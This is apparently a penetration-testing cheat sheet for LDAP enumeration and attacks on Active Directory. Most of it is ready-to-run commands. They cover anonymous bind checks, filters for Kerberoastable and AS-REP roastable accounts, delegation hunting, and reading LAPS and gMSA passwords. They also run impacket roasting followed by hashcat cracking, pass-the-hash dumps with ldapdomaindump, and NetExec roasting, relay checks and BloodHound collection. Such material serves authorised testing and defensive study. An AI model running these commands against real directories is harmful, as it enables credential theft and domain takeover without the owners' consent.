LDAP

LDAP enumeration and attacks against Active Directory - ldapsearch bind/filter syntax, high-value queries (SPNs, AS-REP, delegation, LAPS, gMSA), matching-rule OID bit filters, anonymous bind checks, and LDAP vs LDAPS vs Global Catalog.

#Getting Started

#Install

# ldapsearch (OpenLDAP client)
sudo apt install ldap-utils        # Debian/Kali
sudo pacman -S openldap            # Arch
sudo emerge net-nds/openldap       # Gentoo

# windapsearch (AD-focused LDAP enum)
git clone https://github.com/ropnop/go-windapsearch   # Go rewrite (single binary)
# or the classic python version:
git clone https://github.com/ropnop/windapsearch

# ldapdomaindump (HTML/JSON/greppable dump)
pipx install ldapdomaindump

# NetExec ldap module
pipx install netexec

#Ports & Endpoints

Port Service Notes
389 LDAP Cleartext or StartTLS on same port
636 LDAPS LDAP wrapped in SSL/TLS
3268 Global Catalog Forest-wide partial replica (LDAP)
3269 GC over SSL Global Catalog wrapped in TLS
88 Kerberos Needed for -k GSSAPI binds

#Bind Types

Bind ldapsearch flag Notes
Anonymous -x (no -D) RootDSE almost always readable
Simple (cleartext) -x -D <dn/upn> -w <pw> Password on the wire unless LDAPS
NTLM/GSSAPI -Y GSSAPI (needs ticket) Kerberos, no plaintext
StartTLS -Z / -ZZ (force) Upgrade 389 to TLS

#ldapsearch Syntax

#Core Flags

# General shape:  ldapsearch -x -H <uri> -D <bindDN> -w <pw> -b <baseDN> "<filter>" [attrs...]

ldapsearch \
  -x \                              # simple authentication
  -H ldap://10.0.0.1 \              # target DC (ldaps://host:636 for TLS)
  -D 'CORP\jdoe' \                  # bind: DOMAIN\user, [email protected], or full DN
  -w 'Passw0rd!' \                  # password (-W prompt, -y file for a pw file)
  -b 'dc=corp,dc=local' \           # search base (the domain naming context)
  -s sub \                          # scope: base | one | sub (default sub)
  -LLL \                            # clean LDIF: no comments, no version line
  -o ldif-wrap=no \                 # never wrap long attribute values
  '(objectClass=user)' \            # the search filter
  sAMAccountName description        # only return these attributes (omit = all)

# Bind identity accepted by AD:
#   -D 'CORP\jdoe'            (NetBIOS)
#   -D '[email protected]'      (UPN, easiest)
#   -D 'cn=jdoe,cn=Users,dc=corp,dc=local'  (full DN)

# Paged results (AD caps at 1000 objects per response - always page big queries)
ldapsearch -x -H ldap://10.0.0.1 -D '[email protected]' -w 'Passw0rd!' \
  -b 'dc=corp,dc=local' -E pr=1000/noprompt '(objectClass=user)' sAMAccountName

# Kerberos bind (needs a valid TGT in KRB5CCNAME + working /etc/krb5.conf)
export KRB5CCNAME=/tmp/jdoe.ccache
ldapsearch -Y GSSAPI -H ldap://dc01.corp.local -b 'dc=corp,dc=local' '(objectClass=user)'

#Find the Base DN (RootDSE)

# RootDSE is readable without credentials - grab the naming contexts first
ldapsearch -x -H ldap://10.0.0.1 -s base -b '' \
  defaultNamingContext rootDomainNamingContext configurationNamingContext \
  namingContexts dnsHostName

# defaultNamingContext -> dc=corp,dc=local  (use as -b)
# configurationNamingContext -> CN=Configuration,DC=corp,DC=local

#Scope & Output Tips

# Count objects only (no attributes, useful to size a query)
ldapsearch -x ... '(objectClass=user)' dn | grep -c '^dn:'

# Decode base64 attributes ldapsearch prints (objectSid, ntSecurityDescriptor)
ldapsearch -x ... '(sAMAccountName=jdoe)' objectSid | grep objectSid: \
  | cut -d' ' -f2 | base64 -d | xxd

# Query the Global Catalog for a forest-wide search (partial attrs only)
ldapsearch -x -H ldap://10.0.0.1:3268 -D '[email protected]' -w 'Passw0rd!' \
  -b '' '(sAMAccountName=administrator)' sAMAccountName

#Anonymous / Null Bind Checks

#Testing Unauthenticated Access

# 1. RootDSE - almost always allowed, confirms host is a DC and gives naming contexts
ldapsearch -x -H ldap://10.0.0.1 -s base -b '' '(objectClass=*)' '*' +

# 2. Full anonymous bind over the domain NC (usually denied on modern AD, but test it)
ldapsearch -x -H ldap://10.0.0.1 -b 'dc=corp,dc=local' '(objectClass=user)' sAMAccountName
#   Success  -> anonymous LDAP read (misconfig / legacy dSHeuristics)
#   Result 1 (Operations error) / "successful bind must be completed" -> anonymous denied

# 3. NetExec quick check across a range
nxc ldap 10.0.0.0/24 -u '' -p ''                 # null bind
nxc ldap 10.0.0.0/24 -u guest -p ''              # guest fallback

# 4. Look for the dSHeuristics anonymous-read flag (7th char = 2 enables it)
ldapsearch -x -H ldap://10.0.0.1 -b \
  'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \
  '(objectClass=*)' dSHeuristics

# 5. nmap NSE enumeration on a null bind
nmap -p 389 --script ldap-rootdse,ldap-search 10.0.0.1

#Signing / Channel Binding

# LDAP signing not enforced -> LDAP relay is possible (ntlmrelayx -t ldap://dc)
nxc ldap 10.0.0.1 -u user -p pass -M ldap-checker

# Output flags:
#   LDAP  Signing NOT Enforced         -> relay to 389 works
#   LDAPS Channel Binding NOT Enforced -> relay to 636 works

#Matching-Rule OIDs

#The OID Bit-Filter Trick

AD exposes special matching-rule OIDs so you can filter on individual bits of an integer attribute (like userAccountControl) or walk group nesting. Syntax is attribute:<OID>:=<value>.

OID Name Meaning
1.2.840.113556.1.4.803 LDAP_MATCHING_RULE_BIT_AND Bitwise AND - value has ALL these bits set
1.2.840.113556.1.4.804 LDAP_MATCHING_RULE_BIT_OR Bitwise OR - value has ANY of these bits
1.2.840.113556.1.4.1941 LDAP_MATCHING_RULE_IN_CHAIN Transitive/recursive membership (nested groups)
1.2.840.113556.1.4.2253 LDAP_MATCHING_RULE_DN_WITH_DATA Match DN-binary syntax attributes
2.5.13.5 caseExactMatch Standard exact string match
2.5.13.2 caseIgnoreMatch Standard case-insensitive match
# Bitwise AND: accounts with DONT_REQ_PREAUTH (0x400000 = 4194304) set  -> AS-REP roastable
'(userAccountControl:1.2.840.113556.1.4.803:=4194304)'

# Bitwise OR: accounts that are disabled OR password-not-required (2 | 32 = 34)
'(userAccountControl:1.2.840.113556.1.4.804:=34)'

# IN_CHAIN: every user in Domain Admins including via nested groups
'(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=corp,DC=local)'

#userAccountControl Bits

#UAC Flag Reference

Combine any of these with the :1.2.840.113556.1.4.803:= bitwise-AND rule to filter accounts by property.

Decimal Hex Flag Attack relevance
2 0x0002 ACCOUNTDISABLE Exclude disabled: (!(...:=2))
32 0x0020 PASSWD_NOTREQD Blank-password accounts
512 0x0200 NORMAL_ACCOUNT Regular user object
4096 0x1000 WORKSTATION_TRUST_ACCOUNT Computer object
8192 0x2000 SERVER_TRUST_ACCOUNT Domain controller
65536 0x10000 DONT_EXPIRE_PASSWORD Password never expires
262144 0x40000 SMARTCARD_REQUIRED Cert/smartcard logon
524288 0x80000 TRUSTED_FOR_DELEGATION Unconstrained delegation
1048576 0x100000 NOT_DELEGATED Protected ("sensitive") account
2097152 0x200000 USE_DES_KEY_ONLY DES-only - weak Kerberos
4194304 0x400000 DONT_REQ_PREAUTH AS-REP roastable
16777216 0x1000000 TRUSTED_TO_AUTH_FOR_DELEGATION Constrained deleg. w/ protocol transition

#High-Value Queries

#Users, Groups, Computers

# All users (objectCategory is indexed -> faster than objectClass=user alone)
ldapsearch -x ... -b 'dc=corp,dc=local' \
  '(&(objectCategory=person)(objectClass=user))' sAMAccountName userPrincipalName

# Enabled users only (exclude the ACCOUNTDISABLE bit)
'(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'

# All groups + their members
ldapsearch -x ... '(objectClass=group)' sAMAccountName member

# Members of Domain Admins (direct)
'(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)'

# All computers + OS version (spot legacy Windows)
ldapsearch -x ... '(objectClass=computer)' \
  name dNSHostName operatingSystem operatingSystemVersion

# Domain Controllers (UAC SERVER_TRUST_ACCOUNT bit)
'(userAccountControl:1.2.840.113556.1.4.803:=8192)'

# Password policy (domain root object)
ldapsearch -x ... -s base -b 'dc=corp,dc=local' \
  minPwdLength maxPwdAge lockoutThreshold pwdProperties

#Kerberos Roasting Targets

# Kerberoastable: user accounts with an SPN (skip krbtgt and disabled accounts)
ldapsearch -x ... -b 'dc=corp,dc=local' \
  '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName

# AS-REP roastable: DONT_REQ_PREAUTH set (Kerberos pre-auth disabled)
ldapsearch -x ... -b 'dc=corp,dc=local' \
  '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

# Then feed to the roasters (impacket) and crack with hashcat
impacket-GetUserSPNs corp.local/jdoe:'Passw0rd!' -dc-ip 10.0.0.1 -request
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 13100 tgs.txt rockyou.txt      # Kerberoast (TGS-REP)
hashcat -m 18200 asrep.txt rockyou.txt    # AS-REP

#Delegation

# Unconstrained delegation (TRUSTED_FOR_DELEGATION) - compromise = capture any TGT
ldapsearch -x ... -b 'dc=corp,dc=local' \
  '(userAccountControl:1.2.840.113556.1.4.803:=524288)' \
  sAMAccountName dNSHostName

# Constrained delegation - accounts with msDS-AllowedToDelegateTo populated
ldapsearch -x ... '(msDS-AllowedToDelegateTo=*)' \
  sAMAccountName msDS-AllowedToDelegateTo

# Resource-Based Constrained Delegation (RBCD) - who can act on this object
ldapsearch -x ... '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
  sAMAccountName msDS-AllowedToActOnBehalfOfOtherIdentity

# Protocol transition (S4U2Self) - constrained deleg with "any auth protocol"
'(userAccountControl:1.2.840.113556.1.4.803:=16777216)'

#Secrets in the Directory

# description / info fields - admins love parking passwords here
ldapsearch -x ... '(&(objectCategory=person)(objectClass=user)(description=*))' \
  sAMAccountName description
ldapsearch -x ... '(info=*)' sAMAccountName info

# adminCount=1 - accounts (once) protected by AdminSDHolder, usually privileged
ldapsearch -x ... '(&(objectClass=user)(adminCount=1))' sAMAccountName memberOf

# LAPS legacy (ms-Mcs-AdmPwd) - cleartext local admin pw if you can read it
ldapsearch -x ... '(ms-Mcs-AdmPwd=*)' \
  sAMAccountName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# LAPS v2 (Windows LAPS) - encrypted blob + cleartext attribute names
ldapsearch -x ... '(msLAPS-Password=*)' sAMAccountName msLAPS-Password
ldapsearch -x ... '(msLAPS-EncryptedPassword=*)' sAMAccountName msLAPS-EncryptedPassword

# gMSA accounts - msDS-ManagedPassword blob readable by allowed principals
ldapsearch -x ... '(objectClass=msDS-GroupManagedServiceAccount)' \
  sAMAccountName msDS-GroupMSAMembership msDS-ManagedPassword

# userPassword / unixUserPassword (rare, but jackpot when present)
ldapsearch -x ... '(userPassword=*)' sAMAccountName userPassword

#windapsearch

#Common Modules

# Base auth (Go build: go-windapsearch; python: windapsearch.py, same flags)
windapsearch -d corp.local --dc 10.0.0.1 -u '[email protected]' -p 'Passw0rd!' -m users

# Handy built-in modules (-m):
windapsearch ... -m users            # all users
windapsearch ... -m groups           # all groups
windapsearch ... -m computers        # all computers
windapsearch ... -m domain-admins    # members of Domain Admins (recursive)
windapsearch ... -m privileged-users # members of all privileged groups
windapsearch ... -m unconstrained    # unconstrained delegation objects
windapsearch ... -m gpos             # group policy objects
windapsearch ... -m spns             # service accounts (Kerberoast targets)
windapsearch ... -m as-rep-roastable # DONT_REQ_PREAUTH users

# Anonymous / unauthenticated enum
windapsearch -d corp.local --dc 10.0.0.1 -m users

# Custom raw filter + specific attributes
windapsearch ... --custom '(servicePrincipalName=*)' --attrs sAMAccountName,servicePrincipalName

# Full unfiltered dump to a file
windapsearch ... -m users --full -o users.txt

#ldapdomaindump

#One-Shot Structured Dump

# Dumps users/groups/computers/policy/trusts to HTML + greppable + JSON
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -o loot/ ldap://10.0.0.1

# Over LDAPS
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -o loot/ ldaps://10.0.0.1

# Pass-the-hash (NT hash, no plaintext)
ldapdomaindump -u 'CORP\jdoe' -p 'aad3b...:c0889...' --authtype NTLM -o loot/ ldap://10.0.0.1

# Resolve computer hostnames to IPs while dumping
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -r -o loot/ ldap://10.0.0.1

#Output Files

File Contents
domain_users.html All users + flags (disabled, no-preauth, pw-not-req)
domain_computers.html Computers, OS, delegation
domain_groups.html Groups and membership
domain_policy.html Password / lockout policy
domain_trusts.html Trust relationships (pivot to other domains)
*_by_group.html Users grouped by their group memberships

#NetExec ldap Module

#Enumeration & Roasting

# Basic bind test
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!'

# Users / groups / computers / active-only
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --users
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --active-users
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --groups
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --computers

# Property hunts
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --admin-count            # adminCount=1
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --password-not-required  # PASSWD_NOTREQD
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --trusted-for-delegation # unconstrained
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --find-delegation        # all delegation

# Description-field password hunt
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M get-desc-users

# Roasting straight from LDAP
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --kerberoasting kerb.txt
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --asreproast asrep.txt

# Secrets: LAPS, gMSA
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M laps
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --gmsa

# Signing / channel-binding relay check + BloodHound collection
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M ldap-checker
nxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --bloodhound -c All --dns-server 10.0.0.1

#Global Catalog vs LDAP

#When to Use Which

Aspect LDAP (389/636) Global Catalog (3268/3269)
Scope Single domain Whole forest (all domains)
Attributes Full attribute set Partial (PAS) subset only
Writable Yes Read-only
Base DN Domain NC (dc=corp,dc=local) Empty base '' searches all NCs
Best for Deep attribute reads, writes Forest-wide account/SPN discovery
# Forest-wide search for an account across every domain (empty base on GC)
ldapsearch -x -H ldap://10.0.0.1:3268 -D '[email protected]' -w 'Passw0rd!' \
  -b '' '(&(objectClass=user)(sAMAccountName=administrator))' \
  sAMAccountName distinguishedName

# GC over TLS
ldapsearch -x -H ldaps://10.0.0.1:3269 -D '[email protected]' -w 'Passw0rd!' \
  -b '' '(servicePrincipalName=*)' sAMAccountName servicePrincipalName

# NOTE: msDS-ManagedPassword / ms-Mcs-AdmPwd are NOT in the GC partial set -
# read those over standard LDAP (389/636) against the domain that owns the object.

#LDAPS / StartTLS

# Ignore self-signed cert validation for the LDAPS bind (labs/pentests)
LDAPTLS_REQCERT=never ldapsearch -x -H ldaps://10.0.0.1 \
  -D '[email protected]' -w 'Passw0rd!' -b 'dc=corp,dc=local' '(objectClass=user)'

# StartTLS on port 389 (-ZZ forces the upgrade, fails if unavailable)
LDAPTLS_REQCERT=never ldapsearch -x -ZZ -H ldap://10.0.0.1 \
  -D '[email protected]' -w 'Passw0rd!' -b 'dc=corp,dc=local' '(objectClass=user)'

# Grab the DC LDAPS certificate (SANs often leak hostnames / other DCs)
openssl s_client -connect 10.0.0.1:636 -showcerts </dev/null 2>/dev/null \
  | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'

#Filter Cookbook

#Quick Reference

Goal Filter
All enabled users (&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
Kerberoastable (&(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt)))
AS-REP roastable (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Password not required (userAccountControl:1.2.840.113556.1.4.803:=32)
Password never expires (userAccountControl:1.2.840.113556.1.4.803:=65536)
Unconstrained delegation (userAccountControl:1.2.840.113556.1.4.803:=524288)
Constrained delegation (msDS-AllowedToDelegateTo=*)
RBCD configured (msDS-AllowedToActOnBehalfOfOtherIdentity=*)
adminCount protected (adminCount=1)
Nested Domain Admins (memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=corp,DC=local)
Computers (all) (objectClass=computer)
Domain Controllers (userAccountControl:1.2.840.113556.1.4.803:=8192)
gMSA accounts (objectClass=msDS-GroupManagedServiceAccount)
LAPS readable (ms-Mcs-AdmPwd=*)
Trust accounts (userAccountControl:1.2.840.113556.1.4.803:=2048)

#See also

#Cyber Aurelien Guidi